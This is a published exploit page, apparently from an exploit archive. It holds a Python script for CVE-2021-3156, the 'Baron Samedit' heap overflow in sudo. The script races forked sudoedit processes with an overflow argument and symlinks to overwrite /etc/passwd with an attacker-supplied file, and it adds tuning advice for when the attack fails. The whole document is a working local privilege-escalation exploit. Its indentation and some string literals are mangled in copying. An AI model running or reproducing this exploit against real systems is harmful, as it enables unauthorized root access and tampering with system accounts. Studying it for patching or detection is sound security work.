Share
## https://sploitus.com/exploit?id=PACKETSTORM:161270
# Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1)  
# Date: 2021-02-02  
# Exploit Author: West Shepherd  
# Version: Sudo legacy versions from 1.8.2 to 1.8.31p2, stable versions from 1.9.0 to 1.9.5p1.  
# Tested on: Ubuntu 20.04.1 LTS Sudo version 1.8.31  
# CVE : CVE-2021-3156  
# Credit to: Advisory by Baron Samedit of Qualys and Stephen Tong (stong) for the C based exploit code.  
# Sources:  
# (1) https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit  
# (2) https://github.com/stong/CVE-2021-3156  
# Requirements: Python3  
  
#!/usr/bin/python3  
import os  
import pwd  
import time  
import sys  
import argparse  
  
  
class Exploit(object):  
username = ''  
size = 0  
data = ''  
  
def __init__(self, source, target, sleep):  
self.sleep = sleep  
self.source = source  
self.target = target  
  
@staticmethod  
def readFile(path):  
return open(path, 'r').read()  
  
@staticmethod  
def getUser():  
return pwd.getpwuid(os.getuid())[0]  
  
@staticmethod  
def getSize(path):  
return os.stat(path).st_size  
  
def main(self):  
self.username = self.getUser()  
self.data = self.readFile(self.source)  
self.size = self.getSize(self.target)  
environ = {  
'\n\n\n\n\n': '\n' + self.data,  
'SUDO_ASKPASS': '/bin/false',  
'LANG':  
'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',  
'A': 'A' * 0xffff  
}  
for i in range(5000):  
directory =  
'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i  
overflow =  
'11111111111111111111111111111111111111111111111111111111%s' %  
directory  
  
if os.path.exists(directory):  
sys.stdout.write('file exists %s\n' % directory)  
continue  
  
child = os.fork()  
os.environ = environ  
if child:  
sys.stdout.write('[+] parent %d \n' % i)  
sys.stdout.flush()  
time.sleep(self.sleep)  
if not os.path.exists(directory):  
try:  
os.mkdir(directory, 0o700)  
os.symlink(self.target, '%s/%s' % (directory,  
self.username))  
os.waitpid(child, 0)  
except:  
continue  
else:  
sys.stdout.write('[+] child %d \n' % i)  
sys.stdout.flush()  
os.setpriority(os.PRIO_PROCESS, 0, 20)  
os.execve(  
path='/usr/bin/sudoedit',  
argv=[  
'/usr/bin/sudoedit',  
'-A',  
'-s',  
'\\',  
overflow  
],  
env=environ  
)  
sys.stdout.write('[!] execve failed\n')  
sys.stdout.flush()  
os.abort()  
break  
  
if self.size != self.getSize(self.target):  
sys.stdout.write('[*] success at iteration %d \n' % i)  
sys.stdout.flush()  
break  
sys.stdout.write("""  
\nConsider the following if the exploit fails:  
\n\t(1) If all directories are owned by root then sleep  
needs to be decreased.  
\n\t(2) If they're all owned by you, then sleep needs  
increased.  
""")  
  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser(  
add_help=True,  
description='* Sudo Privilege Escalation / Heap Overflow -  
CVE-2021-3156 *'  
)  
try:  
parser.add_argument('-source', action='store', help='Path to  
malicious "passwd" file to overwrite the target')  
parser.add_argument('-target', action='store', help='Target  
file path to be overwritten (default: /etc/passwd)')  
parser.add_argument('-sleep', action='store', help='Sleep  
setting for forked processes (default: 0.01 seconds')  
parser.set_defaults(target='/etc/passwd', sleep='0.01')  
  
options = parser.parse_args()  
if options.source is None:  
parser.print_help()  
sys.exit(1)  
  
exp = Exploit(  
source=options.source,  
target=options.target,  
sleep=float(options.sleep)  
)  
exp.main()  
except Exception as err:  
sys.stderr.write(str(err))